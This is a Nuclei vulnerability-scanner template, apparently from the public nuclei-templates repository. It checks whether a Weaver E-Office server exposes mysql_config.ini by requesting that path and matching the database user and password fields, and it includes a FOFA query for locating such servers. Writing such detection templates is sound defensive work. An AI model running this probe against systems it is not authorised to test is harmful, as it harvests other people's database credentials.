nuclei-templates/http/vulnerabilities/weaver/weaver-mysql-config-info-le...

31 lines
1.1 KiB
YAML
Raw Normal View History

2023-09-18 12:37:42 +00:00
id: weaver-mysql-config-exposure
2023-09-13 11:22:00 +00:00
info:
2023-09-18 12:37:42 +00:00
name: OA E-Office mysql_config.ini - Information Disclosure
2023-09-13 11:22:00 +00:00
author: SleepingBag945
severity: high
description: |
E-Office mysql_config.ini file can be directly accessed, leaking database account password and other information
reference:
- https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA%20E-Office%20mysql_config.ini%20%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
metadata:
2023-10-14 11:27:55 +00:00
verified: true
2023-09-13 11:22:00 +00:00
max-request: 1
fofa-query: app="泛微-EOffice"
tags: ecology,weaver,oa,lfi
http:
- method: GET
path:
- "{{BaseURL}}/mysql_config.ini"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header,"text/plain")'
2023-09-18 12:37:42 +00:00
- 'contains_all(body,"datapassword", "datauser")'
2023-10-14 11:27:55 +00:00
condition: and
# digest: 4a0a00473045022003d14acb438bcd3ddfaab392c67ae2d0fd30ddbe80da964d403b0403eee025dd022100d6c9d8d5b6864cd317a1b28d3c9a5eeb35e4a0bbfb64a43f01c526d2a5e63070:922c64590222798bb761d5b6d8e72950